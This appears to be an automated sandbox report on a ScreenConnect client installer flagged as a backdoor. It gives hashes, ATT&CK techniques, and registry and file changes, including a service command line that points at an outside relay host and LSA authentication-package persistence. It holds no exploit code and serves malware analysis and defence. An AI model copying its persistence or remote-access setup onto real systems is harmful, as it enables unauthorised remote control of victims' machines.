e3c35b275d5eb46c6e3c1e61f7bedf0585ca60d2758e6a49bd00807843a30ce0

Analysis

max time kernel
56s
max time network
54s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/09/2026, 22:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ScreenConnect.ClientSetup.exe
Size 5.4MB
Sample260922-2bsxkagg24
SHA256 e3c35b275d5eb46c6e3c1e61f7bedf0585ca60d2758e6a49bd00807843a30ce0
MD5 1d937208d6619606f233bc319f695ae3
SHA1 71f2414d8294041fda766ceff7d99a13ea425dc5
SHA512 88a035194205c65c3b361f3ab72dfe8e0b347a3afd3fe3571ddf44eaa39c6f44c7093149fcbd31caaf0ac5d4d928186d8d68eb115a881bb74844dfe6cc675294
SSDEEP 49152:p9Rx5xKk3JkGYYpT0+TFiH7efPwJm6Ey8hviEaRLz2r0EZmMo88HSGG6mn7VcX8c:CFs6efPKmHy8hviE+mrp6yG4pRYzO
TLSH
T13F46F111B3DA95B9C0BF063CD87A52699A74BC044712CBEF57D4BD692D32BC04E323A6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

backdoor discovery persistence privilege_escalation ransomware rat revoked_codesign

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (8caedb6088f34df1)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (8caedb6088f34df1)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=109.205.211.100&p=8041&s=f662e115-ab6d-43d0-908a-27fad0769445&k=BgIAAACkAABSU0ExAAgAAAEAAQDFHLnT%2b%2buiwfeRt01JrTDq42%2fyTitTr14266AclBjfNl5NpBUyXUI6wsIauiVkuy9eH6jLMpISBIaj5RzO8YRzPcfLX%2fXj9ytyAOODSZ1z%2fy1OsqdGHWH2rLvH8tSLZ0qjzXQF17xXRUsouE2N7pyFOWqJgL1IKWTDWbrdCAmpVuUq1JNaSMeNvNabBDM7GAXYhAehvBxyWhq0ZPyunDHaB%2f5gVqgbvV6Vpd5biY%2f2nRfNggabbj2Wt5sPk0DcoHOk5OZh25uKtFl1xP7DKLlMpX7%2fKU6yYIVCPmVo7KcwwGnLOByfB2hABK8oNN1F7O%2fLpKIsm0f1iBcKlvB3lLa9&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAgmur5uptdkCiRUhzqcqr7wAAAAACAAAAAAAQZgAAAAEAACAAAACW00IuoNgagt20%2bVeDjrxcGa%2bN2w4kr5ZCWKDukY0GDAAAAAAOgAAAAAIAACAAAAAtp7VDL2M8x6e%2bdpBxaKNi1V7Q20ohhEQfwCzR95OdRKAEAAAfTFUqXTd8PNIua%2f6DSuBmOFuOWttKeMJyTsSvleK7kU3gTba%2fhSOhVeW7nGlkrafoMw%2b3ybyWJhUkyoWR%2fBVGEke%2bvtHmJd%2frI4pWXdLpZaxuWxxgN61ky6%2f8o1u5A5QfYmxenSwak9o1dvE1PaPngP2s24Jyvu5JyhUjmr02SUA8C4%2bAPBI9rVqmmJsXPE%2bYVZkO7MRbRvwOeFZ83cvFvxHf%2fIPCR7fZo35qaGy3ZNlknAkTf9VSrz0R1Ja2uJ9YDulF1Q0vnjiL5Kjsp6Pab60ZrW5uFZ%2bvC40lX4%2br86M2iL9t%2bBfCkWeRzAyG5mit%2fzv73F7LDvX2LkpyvaEW%2fXlTijCg1oS%2fBQhpE6EksSV2l0gno3LzZgE7AFwzf7%2bOet3iJuCDKw3lgyQCJTfn6JUCWjOKbauArGJIavNzNYFyCWGmj9JELCcVfbp2OWtsWfUg5c6%2b%2f%2bRFEl%2fNIM4gX7qMswxwU6DP5PDCbCALcmJGGQMxA9Q%2bDi6LTQsg3nePyFCT7qKPYHN9uH8xE4t0OjmR0ZS085rnSyXrX0eO1RFDT2NYe0e7fd78lqTomHKMBR4o9sMFwk0%2bB0cn2iaOuQ6ZD9VnNPzO63RJK3DrN%2fJFyoGifeIm5bu6k7XogC7FLMEi%2fVGNeYMu93h3Lkp8%2fuvXfYj%2bClrGsMf3oKbb50GnZsUsZ9JP8BPplE7tz4SbOt%2bPC%2f7nI%2bvMPEuP3XAQffMrYHX5d%2fVyL%2fOIev%2bD1erCT2vutcSJc5VTRcR2mI7AD08WZLeJXnLyPpNm1PJtgw0o7ILhiy9zomqI2sS2S7wqGJ%2fzR9sUyB9KYoLsvRHoI4N8DJTDhhy9B87gruEQlG9Efxbq4e7wzBqS3YdYCbKhZ1h1MkFeNZre13nvT7hFUZ7jKxNgTFbk6gl65owm%2bCorMOWOndaymTVuQuo4Yh9Y%2bmy4eo112d1LiMTGN0nD9lKcpxAX7a%2bD6NwlifR095YPFoJvDMJJQ1mMdwJB4jaCpcC%2f0QKAvj1k%2bixPp2s9Z2yAWqY1wfasjWMEP%2fU23tXpRb7B3RbiOECv5YlCTCjL4hlD1XfJThB1Y30cwQC%2bsA9i98Zx5XXZ%2bmzlQDbx7zeF7i7HF0cT8yPPd76McSR7T9mlFdLKDPtIEm3bazXDrEenUvFsJux0v305WqP5QbBb2pyrFczMHGR42zeXOryVc%2be4rix8YzzbI%2bXKtAiqQCBCujiFRwIeOeAHc6LllFenoS335TbwtmrSPTno3ofKnUi0TY2RGq3li7OYv6p%2fJrOeHUJe4B0HRKjnqH4nGfFqD1hFJu80XW0k7K0LOvqrgT9RBQsPK0TwOSfLEtQLRjhJSH4dMRfRuTjA60jI%2b%2blxuMyi%2buoXOIqEk2oAUW0vm2%2fivX%2bvFQxnBrkzia60SXYOfkYgraQZCyDO%2fbuj8SfcNynYIQh8DWNwLBXjeo8lO%2fybnupQROTifLVbWbVhvqfw%2fe83arSxbl3Ke%2bebZvuiP2kXelFS9VhtAboxLZjhP%2bE%2fI%2b77da%2fKTpytw3GnpILJs8usW0AmhKzbRz4sNjTNsGsDx1RBKfPb6d%2f%2fjUAAAACC0Qu8splX4fE68Ec1ZICdgMgxuzbc5MI2%2b8yd8aSzeWr7a7jG73bpZu9ZUD1zVJGdECmekRdOVHvO06SqVym6\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 5 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral2/memory/1072-2-0x0000000005A40000-0x0000000005D30000-memory.dmp	revoked_cert_connectwise
behavioral2/files/0x000d00000001c4ed-83.dat	revoked_cert_connectwise
behavioral2/files/0x000d00000001c4ea-118.dat	revoked_cert_connectwise
behavioral2/memory/1820-119-0x0000000004D70000-0x0000000004E42000-memory.dmp	revoked_cert_connectwise
behavioral2/files/0x000d00000001c4e8-126.dat	revoked_cert_connectwise

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 3 IoCs

pid	Process
1820	ScreenConnect.ClientService.exe
3984	ScreenConnect.WindowsClient.exe
4156	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
1600	MsiExec.exe
3316	rundll32.exe
3316	rundll32.exe
3316	rundll32.exe
3316	rundll32.exe
3316	rundll32.exe
3316	rundll32.exe
3316	rundll32.exe
3316	rundll32.exe
3316	rundll32.exe
4212	MsiExec.exe
3280	MsiExec.exe
1820	ScreenConnect.ClientService.exe
1820	ScreenConnect.ClientService.exe
1820	ScreenConnect.ClientService.exe
1820	ScreenConnect.ClientService.exe
1820	ScreenConnect.ClientService.exe
1820	ScreenConnect.ClientService.exe
1820	ScreenConnect.ClientService.exe
1820	ScreenConnect.ClientService.exe
1820	ScreenConnect.ClientService.exe
1820	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800380063006100650064006200360030003800380066003300340064006600310029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8caedb6088f34df1)\lynyljrf.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8caedb6088f34df1)\lynyljrf.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\system.config	msiexec.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e5a013a.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI755.tmp	msiexec.exe
File created	C:\Windows\Installer\{C19853B4-8B16-4D2D-3B7D-B6CE6DF77946}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DFA453290F3EA0F649.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{C19853B4-8B16-4D2D-3B7D-B6CE6DF77946}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF3C4C307FD02C4EF8.TMP	msiexec.exe
File created	C:\Windows\Installer\wix{C19853B4-8B16-4D2D-3B7D-B6CE6DF77946}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\{C19853B4-8B16-4D2D-3B7D-B6CE6DF77946}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI725.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFB014FF59546F02DF.TMP	msiexec.exe
File created	C:\Windows\Installer\e5a013a.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFA89B7F93D9AF6CA8.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9B8.tmp	msiexec.exe
File created	C:\Windows\Installer\e5a013c.msi	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000000463f4e358e8ea170000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c01200000000000000000000000027010100008838010463f4e30000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e841010463f4e3000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e30463f4e300000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e60463f4e300000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe

Modifies registry class 37 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\8caedb6088f34df1\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8caedb6088f34df1\URL Protocol	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8caedb6088f34df1\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8caedb6088f34df1\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (8caedb6088f34df1)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-1B11-0E133A146C17}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-1B11-0E133A146C17}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\8caedb6088f34df1\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8caedb6088f34df1\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\4B35891C61B8D2D4B3D76BECD67F9764	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8caedb6088f34df1	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-1B11-0E133A146C17}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (8caedb6088f34df1)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-8caedb6088f34df1	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-8caedb6088f34df1\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-1B11-0E133A146C17}\ = "ScreenConnect Client (8caedb6088f34df1) Credential Provider"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-1B11-0E133A146C17}\InprocServer32	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8caedb6088f34df1\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\PackageCode = "4B35891C61B8D2D4B3D76BECD67F9764"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\ProductName = "ScreenConnect Client (8caedb6088f34df1)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\ProductIcon = "C:\\Windows\\Installer\\{C19853B4-8B16-4D2D-3B7D-B6CE6DF77946}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8caedb6088f34df1\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\4B35891C61B8D2D4B3D76BECD67F9764\Full	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\Version = "402784267"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\6DF00E67042ECB71C8EABD06883FD41F	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\6DF00E67042ECB71C8EABD06883FD41F\4B35891C61B8D2D4B3D76BECD67F9764	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4B35891C61B8D2D4B3D76BECD67F9764\SourceList\PackageName = "setup.msi"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
6136	msiexec.exe
6136	msiexec.exe
1820	ScreenConnect.ClientService.exe
1820	ScreenConnect.ClientService.exe
1820	ScreenConnect.ClientService.exe
1820	ScreenConnect.ClientService.exe
1820	ScreenConnect.ClientService.exe
1820	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1072	ScreenConnect.ClientSetup.exe
Token: SeShutdownPrivilege	6104	msiexec.exe
Token: SeIncreaseQuotaPrivilege	6104	msiexec.exe
Token: SeSecurityPrivilege	6136	msiexec.exe
Token: SeCreateTokenPrivilege	6104	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	6104	msiexec.exe
Token: SeLockMemoryPrivilege	6104	msiexec.exe
Token: SeIncreaseQuotaPrivilege	6104	msiexec.exe
Token: SeMachineAccountPrivilege	6104	msiexec.exe
Token: SeTcbPrivilege	6104	msiexec.exe
Token: SeSecurityPrivilege	6104	msiexec.exe
Token: SeTakeOwnershipPrivilege	6104	msiexec.exe
Token: SeLoadDriverPrivilege	6104	msiexec.exe
Token: SeSystemProfilePrivilege	6104	msiexec.exe
Token: SeSystemtimePrivilege	6104	msiexec.exe
Token: SeProfSingleProcessPrivilege	6104	msiexec.exe
Token: SeIncBasePriorityPrivilege	6104	msiexec.exe
Token: SeCreatePagefilePrivilege	6104	msiexec.exe
Token: SeCreatePermanentPrivilege	6104	msiexec.exe
Token: SeBackupPrivilege	6104	msiexec.exe
Token: SeRestorePrivilege	6104	msiexec.exe
Token: SeShutdownPrivilege	6104	msiexec.exe
Token: SeDebugPrivilege	6104	msiexec.exe
Token: SeAuditPrivilege	6104	msiexec.exe
Token: SeSystemEnvironmentPrivilege	6104	msiexec.exe
Token: SeChangeNotifyPrivilege	6104	msiexec.exe
Token: SeRemoteShutdownPrivilege	6104	msiexec.exe
Token: SeUndockPrivilege	6104	msiexec.exe
Token: SeSyncAgentPrivilege	6104	msiexec.exe
Token: SeEnableDelegationPrivilege	6104	msiexec.exe
Token: SeManageVolumePrivilege	6104	msiexec.exe
